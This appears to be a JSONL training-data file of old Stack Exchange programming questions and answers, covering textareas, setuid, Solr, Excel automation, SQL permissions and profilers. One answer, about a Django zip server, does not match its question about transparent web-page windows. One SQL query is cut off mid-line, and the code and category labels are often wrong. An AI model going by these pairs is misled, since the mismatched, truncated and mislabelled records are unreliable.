{"id": "hf_59f376c3fb9a", "question": "<p>How can i add a line break to the text area in a html page?\ni use VB.net for server side coding.</p>\n", "question_body": "", "answer": "Add a linefeed (\"\\n\") to the output:\n```\n```\n<textarea>Hello\n\nBybye</textarea>\n```\n```\nWill have a newline in it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.611650"}
{"id": "hf_2a095490ffbe", "question": "<p>Where can I find a guide for integrating JavaScript and JMS (Java Messaging Service)?</p>\n\n<p>I would like a best practice or established technology that allows me to directly or indirectly receive messages from a topic and update a site based on the message. I was thinking of creating two components, a servlet for the Web module, and an MDB (Message-Driven Bean) for the EJB module. The web client will comsume messages from the JMS topic, and the MDB will handle the onMessage.</p>\n\n<p>Does this sound correct? Have you seen any examples?</p>\n\n<p>Edit: I am using ActiveMQ for the JMS.</p>\n", "question_body": "", "answer": "I would try using\nDWR\nto integrate JavaScript with your Java app. It makes Java to JavaScript communication transparent and only requires one servlet + configuration of what to expose. I haven´t done this with JMS, but it should work the same. There are three technologies that together solve all my integration problems,\nSpring\n,\nMule\n, and DWR.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.719058"}
{"id": "hf_435f039b3184", "question": "<p>I want a user-privileged (not root) process to launch new processes as user <code>nobody</code>. I've tried a straight call to <code>setuid</code> that fails with -1 <code>EPERM</code> on <code>Ubuntu 8.04</code>:</p>\n\n<pre><code>#include &lt;sys/types.h&gt;\n#include &lt;unistd.h&gt;\n\nint main() { \n       setuid(65534);\n       while (1);\n       return 0;\n}\n</code></pre>\n\n<p>How should I do this instead?</p>\n", "question_body": "", "answer": "As far as I know, you can't unless you're root or have sudo set up to allow you to switch users.  Or, you can have your executable have the suid bit set up on it, and have it owned by nobody.  But that requires root access too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.745284"}
{"id": "hf_db9e330c9f9c", "question": "<p>I'm looking to find alternatives to <a href=\"http://lucene.apache.org/solr/\" rel=\"noreferrer\">Solr</a> from the Apache Software Foundation. </p>\n\n<p>For those that don't know, Solr is an enterprise search server. A client application uses a web-services like interface to submit documents for indexing and also to perform search queries. Solr has other features built in like caching and replication. I believe it was originally started by CNet and then open-sourced. </p>\n\n<p>I'm looking for other search servers out there that might be seen as the competition. </p>\n", "question_body": "", "answer": "IBM Omnifind Yahoo Edition\nis an Enterprise search server which uses\nApache Lucene\nfor indexing. It is simple, easy to install and administer. It also has a built in Open Search API. It has multi-platform support and its Free!!\nThis product was launched by IBM to compete with\nGoogle Mini\nin the Enterprise Search market.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.868781"}
{"id": "hf_cc379626e856", "question": "<p>So you have a String that is retrieved from an admin web UI (so it is definitely a String). How can you find out whether this string is an IP address or a hostname in Java?</p>\n\n<p>Update: I think I didn't make myself clear, I was more asking if there is anything in the Java SDK that I can use to distinguish between IPs and hostnames? Sorry for the confusion and thanks for everybody who took/will take the time to answer this.</p>\n", "question_body": "", "answer": "You can use a regular expression with this pattern:\n```\n```\n\\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b\n```\n```\nThat will tell you if it's an IPv4 address.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.892083"}
{"id": "hf_711b2dfdac67", "question": "<p>We are automating Excel using VB.Net, and trying to place multiple lines of text on an Excel worksheet that we can set to not print. Between these we would have printable reports.\nWe can do this if we add textbox objects, and set the print object setting to false. (If you have another way, please direct me)</p>\n\n<p>The code to add a textbox is:</p>\n\n<pre><code>ActiveSheet.Shapes.AddTextbox(msoTextOrientationHorizontal, 145.5, 227.25, 304.5, 21#)\n</code></pre>\n\n<p>but the positioning is in points. We need a way to place it over a specific cell, and size it with the cell. How can we find out where to put it when we just know which cell to put it over?</p>\n", "question_body": "", "answer": "If you have the cell name or position, you can do:\n```\n```\nWith ActiveSheet\n  .Shapes.AddTextbox msoTextOrientationHorizontal, .Cells(3,2).Left, .Cells(3,2).Top, .Cells(3,2).Width, .Cells(3,2).Height\nEnd With\n```\n```\nThis will add a textbox over cell B3. When B3 is resized, the textbox is also.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.918298"}
{"id": "hf_1610e9a60245", "question": "<p>Is there an Eclipse command to surround the current selection with parentheses?</p>\n\n<p>Creating a template is a decent workaround; it doesn't work with the \"Surround With\" functionality, because I want to parenthesize an expression, not an entire line, and that requires <code>${word_selection}</code> rather than <code>${line_selection}</code>.</p>\n\n<p>Is there a way that I can bind a keyboard shortcut to this particular template? <kbd>Ctrl</kbd>-<kbd>space</kbd> <kbd>Ctrl</kbd>-<kbd>space</kbd> arrow arrow arrow isn't as slick as I'd hoped for.</p>\n", "question_body": "", "answer": "Easy, Window->Prefs, then select Java->Editor->Templates\nCreate a new template with : (${line_selection}${cursor})\nThe \"line_selection\" means you have to select more than one line.\nYou can try creating another one with \"word_selection\", too.\nThen, select text, right click, Surround With... and choose your new template.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.964201"}
{"id": "hf_7087e6929955", "question": "<p>Google maps in some region can serve traffic information showing the blocked roads and so on. I was wondering if there is any code example demonstrating how can I serve traffice information for my own region. </p>\n", "question_body": "", "answer": "Google is mum on what source they use for their traffic data.  You might contact them directly to see if they want to implement something for you, but my guess is that they'd simply refer you to their provider if they really wanted your data.\nKeep in mind that traffic data is available for more than just the metropolitan areas, but Google isn't using it for a variety of reasons - one of the big reasons is that the entire tile set for the traffic overlay in areas with traffic tiles has to be regenerated every 15 minutes or so.  It just doesn't scale.\nSo even if you managed to get your data in their flow, it likely won't be rendered.\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.009836"}
{"id": "hf_431c3bda082b", "question": "<p>I'm coding a framework along with a project which uses this framework. The project is a Bazaar repository, with the framework in a subfolder below the project.</p>\n\n<p>I want to give the framework a Bazaar repository of its own. How do I do it?</p>\n", "question_body": "", "answer": "As far as I know, there is not a way to do this easily with bazaar.   One possibility is to take the original project, branch it, and then remove everything unrelated to the framework.  You can then move the files in the subdir to the main dir.  It's quite a chore, but it is possible to preserve the history.\nyou will end up with something like:\n```\n```\nbranch project:\n.. other files.. \nframework/a.file\nframework/b.file\nframework/c.file\n\nbranch framework: \na.file\nb.file\nc.file\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.044709"}
{"id": "hf_8590f7f64dcb", "question": "<p>I am implementing a quite simple state-machine order processing application. It is a e-commerce application with a few twists. The users of the application will not be editing workflows by themselves.</p>\n\n<p>Microsoft claims that asp.net and Windows Workflow is possible to combine. How hard is it to install and maintain a combination of asp.net and Windows Workflow? I would be keeping the workflow state in sql-server.</p>\n\n<p>Is it easier for me to roll my own state machine code or is Windows Workflow the right tool for the job? </p>\n", "question_body": "", "answer": "If your state machine is very simple, then I would say that you should just roll your own.  You have more control over everything.  You can deal with persistence on your own terms and not worry about how they do it.\nWF does look pretty cool though, but I think that it's power probably lies in the fact that it is easy to tie it into frameworks like CRM and Sharepoint.  If you are going to use these in your application, then I would definitely consider using WF.\nFull disclosure:  I am definitely not a WF expert.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.160537"}
{"id": "hf_21f4763c2edb", "question": "<p>I want to extend a WPF application with database functionality. Which database engine would you suggest and why? SQLite, SQL CE, other?</p>\n", "question_body": "", "answer": "Depending on the applications use,\nI would recommend using SQL Lite\nbecause it doesn't require you to install any other software (SQL CE or Express, etc. usually would require a separate install).\nA list of the most important benefits for SQL Lite from the provider link at the bottom of this post:\nSQLite is a small C library that\n  implements a self-contained,\n  embeddable, zero-configuration SQL\n  database engine. Features include:\nZero-configuration - no setup or\n  administration needed.\nImplements most of SQL92. (Features\n  not supported)\nA complete database is stored in a\n  single disk file.\nDatabase files can be freely shared\n  between machines with different byte\n  orders.\nSupports databases up to 2 terabytes\n  (2^41 bytes) in size.\nSmall code footprint: less than 30K\n  lines of C code, less than 250KB\n  code space (gcc on i486)\nFaster than popular client/server\n  database engines for most common\n  operations.\nSimple, easy to use API.\nSelf-contained: no external\n  dependencies.\nSources are in the public domain.\n  Use for any purpose.\nSince you're using WPF I can assume you're using at least .NET 3.0.  I would then recommend going to .NET 3.5 SP1 (sames size as .NET 3.5 but includes a bunch of performance improvements) which includes LINQ.\nWhen using SQLite, however, you would want to use the following SQLite Provider which should provide LINQ support:\nAn open source ADO.NET provider for the SQLite database engine", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.194787"}
{"id": "hf_3ea1ca24e2f4", "question": "<p>We have a WinForms application written in C# that uses the AxAcroPDFLib.AxAcroPDF component to load and print a PDF file. Has been working without any problems in Windows XP. I have moved my development environment to Vista 64 bit and now the application will not run (on Vista 64) unless I remove the AxAcroPDF component. I get the following error when the application runs:</p>\n\n<p>\"System.Runtime.InteropServices.COMException:\nClass not registered (Exception from HRESULT: 0x80040154 (REGDB_E_CLASSNOTREG)).\" </p>\n\n<p>I have been advised on the Adobe Forums that the reason for the error is that they do not have a 64 bit version of the AxAcroPDF ActiveX control.  </p>\n\n<p>Is there some way around this problem?  For example can I convert the 32bit ActiveX control to a 64bit control myself?</p>\n", "question_body": "", "answer": "You can't convert Adobe's ActiveX control to 64bit yourself, but you can force your application to run in 32bit mode by setting the platform target to x86.\nFor instructions for your version of Visual Studio, see section 1.44 of\nIssues When Using Microsoft Visual Studio 2005", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.252595"}
{"id": "hf_86f4002ab2a8", "question": "<p>There are various documents describing threading on Solaris/Linux, but nowwhere describing the Windows implementation. I have a passing interest in this, it seems strange that something so critical is (seemingly) not documented.</p>\n\n<p>Threading is not the same on different OS' - \"Write Once, Run Anywhere\" isn't true for threading.</p>\n\n<p>See <a href=\"http://java.sun.com/docs/hotspot/threads/threads.html\" rel=\"nofollow noreferrer\">http://java.sun.com/docs/hotspot/threads/threads.html</a></p>\n", "question_body": "", "answer": "The document in question discusses the Solaris threading model and how the VM maps to it. This has nothing to do with Linux. Also, the document discusses performance only. The program's overall behaviour should not change no matter what you choose.\nJava's exposed threading model is the same on every platform and defined in the Java specifications. To a Java application, the underlying OS should be completely transparent even for threading.\nIf you have to know, though ... The Sun JVM maps its threads 1:1 to Windows threads. It doesn't use multiple processes or fibers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.287394"}
{"id": "hf_b4b63e60e42c", "question": "<p>How do I determine using TSQL what roles are granted execute permissions on a specific stored procedure? Is there a system stored procedure or a system view I can use?</p>\n", "question_body": "", "answer": "You can try something like this.  Note, I believe 3 is EXECUTE.\n```\n```\nSELECT\ngrantee_principal.name AS [Grantee],\nCASE grantee_principal.type WHEN 'R' THEN 3 WHEN 'A' THEN 4 ELSE 2 END - CASE 'database' WHEN  'database' THEN 0 ELSE 2 END AS [GranteeType]\nFROM\nsys.all_objects AS sp\nINNER JOIN sys.database_permissions AS prmssn ON prmssn.major_id=sp.object_id AND prmssn.minor_id=0 AND prmssn.class=1\nINNER JOIN sys.database_principals AS grantee_principal ON grantee_principal.principal_id = prmssn.grantee_principal_id\nWHERE\n(sp.type = N'P' OR sp.type = N'RF' OR sp.type='PC')and(sp.name=N'myProcedure' and SCHEMA_N\n```\n```\nI got that example by simply using SQL Profiler while looking at the permissions on a procedure.  I hope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.368524"}
{"id": "hf_6edf09655d2b", "question": "<p>How do you iterate through every file/directory recursively in standard C++?</p>\n", "question_body": "", "answer": "You need to call OS-specific functions for filesystem traversal, like\n```\nopen()\n```\nand\n```\nreaddir()\n```\n. The C standard does not specify any filesystem-related functions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.392382"}
{"id": "hf_2a021cc2ec1f", "question": "<p>I have quite a few developers asking me if certain SQL jobs ran, and I would like to give them access to check it on their own without giving them <code>sysadmin</code> rights.  I know that in <code>SQL 2005</code>, you can grant them the <code>SQLAgentReaderRole</code>, but I am looking for a solution in <code>SQL 2000</code>.  </p>\n", "question_body": "", "answer": "Pretty sure there isn't one out of the box.  This thread seems to be pretty decent...halfway down they discuss creating a role and then locking that down further.  Also you could just create a mini-program (sp even?) to email the results of the job as a summary, or add to each job an on completion event to email an email group.\nhttp://sqlforums.windowsitpro.com/web/forum/messageview.aspx?catid=60&threadid=43021&enterthread=y", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.465563"}
{"id": "hf_a5daf1e5898e", "question": "<p>I have an iframe.  The content is wider than the width I am setting so the iframe gets a horizontal scroll bar.  I can't increase the width of the iframe so I want to just remove the scroll bar.  I tried setting the scroll property to \"no\" but that kills both scroll bars and I want the vertical one.  I tried setting overflow-x to \"hidden\" and that killed the horizontal scroll bar in ff but not in IE. sad for me.</p>\n", "question_body": "", "answer": "You could try putting the iframe inside a div and then use the div for the scrolling. You can control the scrolling on the div in IE without issues, IE only really has problems with iframe scrolling. Here's a quick example that should do the trick.\n```\n```\n<html>\n    <head>\n        <title>iframe test</title>\n\n        <style>         \n        #aTest { \n            width: 120px;\n            height: 50px;\n            padding: 0;\n            border: inset 1px #000;\n            overflow: auto;\n        }\n\n        #aTest iframe {\n            width: 100px;\n            height: 1000px;\n            border: none;\n        }\n        </style>\n    </head>\n    <body>\n        <div id=\"aTest\">\n            <iframe src=\"whatever.html\" scrolling=\"no\" frameborder=\"0\"></iframe>\n        </div>\n    </body>\n</html>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.492567"}
{"id": "hf_61324f32d4d9", "question": "<p>Why isn't there a Team Foundation Server Express Edition?</p>\n", "question_body": "", "answer": "And individuals shouldn't be using TFS?? That's like saying source control is only for groups and not individuals.\nIf they had an express edition of TFS, then they'd probably get more people using it and paying for their company to use it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.550714"}
{"id": "hf_0e990a04dd03", "question": "<p><code>GNU sed version 4.1.5</code> seems to fail with International chars. Here is my input file:</p>\n\n<pre><code>Gras Och Stenar Trad - From Moja to Minneapolis DVD [G2007DVD] 7812 | X\n&lt;br&gt;\nGras Och Stenar Trad - From Möja to Minneapolis DVD [G2007DVD] 7812 | Y\n</code></pre>\n\n<p>(Note the umlaut in the second line.)</p>\n\n<p>And when I do</p>\n\n<pre><code>sed 's/.*| //' &lt; in\n</code></pre>\n\n<p>I would expect to see only the <code>X</code> and <code>Y</code>, as I've asked to remove ALL chars up to the <code>'|'</code> and space beyond it. Instead, I get:</p>\n\n<pre><code>X&lt;br&gt;\nGras Och Stenar Trad - From M? Y\n</code></pre>\n\n<p>I know I can use tr to remove the International chars. first, but is there a way to just use sed?</p>\n", "question_body": "", "answer": "```\nsed\n```\nis not very well setup for non-ASCII text. However you can use (almost) the same code in\n```\nperl\n```\nand get the result you want:\n```\n```\nperl -pe 's/.*\\| //' x\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.573877"}
{"id": "hf_ac67a84f3826", "question": "<p>I have a \"watcher\" module that is currently using global hierarchies inside it.  I need to instantiate a second instance of this with a second global hierarchy.</p>\n\n<p>Currently:</p>\n\n<pre><code>module watcher;\nwire sig = `HIER.sig;\nwire bar = `HIER.foo.bar;\n...\nendmodule\n\nwatcher w; // instantiation\n</code></pre>\n\n<p>Desired:</p>\n\n<pre><code>module watcher(input base_hier);\nwire sig = base_hier.sig;\nwire bar = base_hier.foo.bar;\n...\nendmodule\n\nwatcher w1(`HIER1); // instantiation\nwatcher w2(`HIER2); // second instantiation, except with a different hierarchy\n</code></pre>\n\n<p>My best idea is to use vpp (the Verilog preprocessor) to brute-force generate two virtually-identical modules (one with each hierarchy), but is there a more elegant way?</p>\n", "question_body": "", "answer": "My preference is to have a single module (or a small number of modules) in your testbench that contains all your probes but no other functionality. All other modules in your testbench that require probes then connect to that \"probe module\". Use SystemVerilog interfaces in preference to raw wires if that's an option for you. This circumvents your problem since no watcher will require global hierarchies and your testbench on the whole will be considerably easier to maintain. See the\nLaw of Demeter\n.\nAlternatively... (but this puts hierarchy in your instantiations...)\n```\n```\nmodule watcher(sig, bar);\n  input sig;\n  input bar;\n...\nendmodule\n\nwatcher w1(`HIER1.sig, `HIER1.foo.bar); // instantiation\nwatcher w2(`HIER2.sig, `HIER2.foo.bar); // second instantiation, except with a different hierarchy\n```\n```\nSubsequently you can also:\n```\n```\n`define WATCHER_INST(NAME, HIER) watcher NAME(HIER.sig, HIER.foo.sig)\n\n`WATCHER_INST(w1, `HIER1);\n`WATCHER_INST(w2, `HIER2);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.597389"}
{"id": "hf_738ca2b2ba92", "question": "<p>I'm fairly new to the STL, so I was wondering whether there are any dynamically sortable containers?  At the moment my current thinking is to use a vector in conjunction with the various sort algorithms, but I'm not sure whether there's a more appropriate selection given the (presumably) linear complexity of inserting entries into a sorted vector.</p>\n\n<p>To clarify \"dynamically\", I am looking for a container that I can modify the sorting order at runtime - e.g. sort it in an ascending order, then later re-sort in a descending order.</p>\n", "question_body": "", "answer": "```\nstd::set\n```\nis basically a sorted container.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.633381"}
{"id": "hf_c4fa361f8ac4", "question": "<p>How can I show a web page in a transparent window and have the white part of the web page also transparent.</p>\n", "question_body": "", "answer": "Can't you just write a link to a \"zip server\" or whatnot?  Why does the zip archive itself need to be served from Django?  A 90's era CGI script to generate a zip and spit it to stdout is really all that's required here, at least as far as I can see.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.668225"}
{"id": "hf_a64c7ac496c5", "question": "<p>Let's say the first N integers divisible by 3 starting with 9.</p>\n\n<p>I'm sure there is some one line solution using lambdas, I just don't know it that area of the language well enough yet.</p>\n", "question_body": "", "answer": "I can't say this is any good, I'm not a C# expert and I just whacked it out, but I think it's probably a canonical example of the use of\n```\nyield\n```\n.\n```\n```\ninternal IEnumerable Answer(N)\n{\n  int n=0;\n  int i=9;\n  while (true)\n  {\n    if (i % 3 == 0)\n    {\n      n++;\n      yield return i;\n    }\n\n    if (n>=N) return;\n    i++;\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.702926"}
{"id": "hf_e9d0c2bd55b0", "question": "<p>I'd like to have a <code>TabNavigator</code> component that has a close button for some of the tabs. How do I do that?  <br>\nIt seems that the <code>TabNavigator</code> component does not allow (or I could not find)  extensibility of this form.\nHelp. Thanks</p>\n", "question_body": "", "answer": "You should take a look at the SuperTabNavigator component from the\nFlexLib\nproject:\nSuperTabNavigator example\nSuperTabNavigator documentation\nFlexLib Component list\nIf you don't want all of the tabs to have close buttons (I understand from the question that you don't) it looks like you could use the\nsetClosePolicyForTab()\nmethod for specifying which tabs you want to have them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.748942"}
{"id": "hf_0ad00404a32e", "question": "<p>I'm looking for a profiler in order to find the bottleneck in my C++ code. I'd like to find a free, non-intrusive, and good profiling tool. I'm a game developer, and I use PIX for Xbox&nbsp;360 and found it very good, but it's not free. I know the Intel <a href=\"https://en.wikipedia.org/wiki/VTune\" rel=\"noreferrer\">VTune</a>, but it's not free either.</p>\n", "question_body": "", "answer": "CodeXL\nhas now superseded the End Of Line'd\nAMD Code Analyst\nand both are free, but not as advanced as VTune.\nThere's also\nSleepy\n, which is very simple, but does the job in many cases.\nNote:\nAll three of the tools above are unmaintained since several years.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.795468"}
{"id": "hf_21412c443ae0", "question": "<p>I have a need to do auditing all database activity regardless of whether it came from application or someone issuing some sql via other means. So the auditing must be done at the database level. The database in question is Oracle. I looked at doing it via Triggers and also via something called Fine Grained Auditing that Oracle provides. In both cases, we turned on auditing on specific tables and specific columns. However, we found that Performance really sucks when we use either of these methods.</p>\n\n<p>Since auditing is an absolute must due to regulations placed around data privacy, I am wondering what is best way to do this without significant performance degradations. If someone has Oracle specific experience with this, it will be helpful but if not just general practices around database activity auditing will be okay as well. </p>\n", "question_body": "", "answer": "I'm not sure if it's a mature enough approach for a production\nsystem, but I had quite a lot of success with monitoring database\ntraffic using a network traffic sniffer.\nSend the raw data between the application and database off to another\nmachine and decode and analyse it there.\nI used PostgreSQL, and decoding the traffic and turning it into\na stream of database operations that could be logged was relatively\nstraightforward. I imagine it'd work on any database where the packet\nformat is documented though.\nThe main point was that it put no extra load on the database itself.\nAlso, it was passive monitoring, it recorded all activity, but \ncouldn't block any operations, so might not be quite what you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.830052"}
{"id": "hf_356e0042bc09", "question": "<p>The <a href=\"http://en.wikipedia.org/wiki/Law_Of_Demeter\" rel=\"noreferrer\">wikipedia article</a> about <a href=\"http://c2.com/cgi/wiki?LawOfDemeter\" rel=\"noreferrer\">Law of Demeter</a> says:</p>\n\n<blockquote>\n  <p>The law can be stated simply as \"use only one dot\".</p>\n</blockquote>\n\n<p>However a <a href=\"http://weblogs.asp.net/jgalloway/archive/2006/12/06/a-simple-example-of-a-fluent-interface.aspx\" rel=\"noreferrer\">simple example</a> of a <a href=\"http://en.wikipedia.org/wiki/Fluent_interface\" rel=\"noreferrer\">fluent interface</a> may look like this:</p>\n\n<pre><code>static void Main(string[] args)\n{\n   new ZRLabs.Yael.Pipeline(\"cat.jpg\")\n        .Rotate(90)\n        .Watermark(\"Monkey\")\n        .RoundCorners(100, Color.Bisque)\n        .Save(\"test.png\");\n}\n</code></pre>\n\n<p>So does this goes together?</p>\n", "question_body": "", "answer": "Yes, although you have to apply some pragmatism to the situation. I always take the Law of Demeter as a guideline as opposed to a rule.\nCertainly you may well want to avoid the following:\n```\n```\nCurrentCustomer.Orders[0].Manufacturer.Address.Email(text);\n```\n```\nperhaps replace with:\n```\n```\nCurrentCustomer.Orders[0].EmailManufacturer(text);\n```\n```\nAs more of us use ORM which generally presents the entire domain as an object graph it might be an idea to define acceptable \"scope\" for a particular object. Perhaps we should take the law of demeter to suggest that you shouldn't map the entire graph as reachable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.864767"}
{"id": "hf_1cf13f5a683f", "question": "<p>In Javascript:\nHow does one find the coordinates (x, y, height, width) of every link in a webpage?</p>\n", "question_body": "", "answer": "Using jQuery, it's as simple as:\n```\n```\n$(\"a\").each(function() {\n    var link = $(this);\n    var top = link.offset().top;\n    var left = link.offset().left;\n    var width = link.offset.width();\n    var height = link.offset.height();\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.900008"}
{"id": "hf_ff207bc53f64", "question": "<p>I'm wanting to change my movie clips to actionscript classes in AS3. Is there a standard list of things I need to do to make sure the classes work?</p>\n", "question_body": "", "answer": "Check out these resources:\nGrant Skinners Introductory AS3 Workshop slidedeck\nhttp://gskinner.com/talks/as3workshop/\nLee Brimelow : 6 Reasons to learn ActionScript 3\nhttp://www.adobe.com/devnet/actionscript/articles/six_reasons_as3.html\nColin Moock : Essential ActionScript 3 (considered the \"bible\" for ActionScript developers):\nhttp://www.amazon.com/Essential-ActionScript-3-0/dp/0596526946\nmike chambers\nmesh@adobe.com", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.934587"}
{"id": "hf_a4a239a64c75", "question": "<p>Are there any ports to WPF of Silverlight's MultiScaleImage (aka DeepZoom)?  Have Microsoft road-mapped this at all for WPF?</p>\n\n<p>I want to move from WinForms to WPF and require something like DeepZoom, using Silverlight isn't an option.</p>\n", "question_body": "", "answer": "At the moment there is no port. However, DeepZoom is based on the technology found in the \"World Wide Telescope\" and the \"Microsoft Photo Synth\", so they have desktop versions of the technology running. I guess it would be safe to assume that Microsoft will be releasing a multi scale image control for WPF soon. If you just want the \"panning and zooming\", and don't care about the efficient breakdown of high resolution images you can certainly achieve the same effects in WPF. This post is\none example on how to do zoom and pan\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:24.961232"}
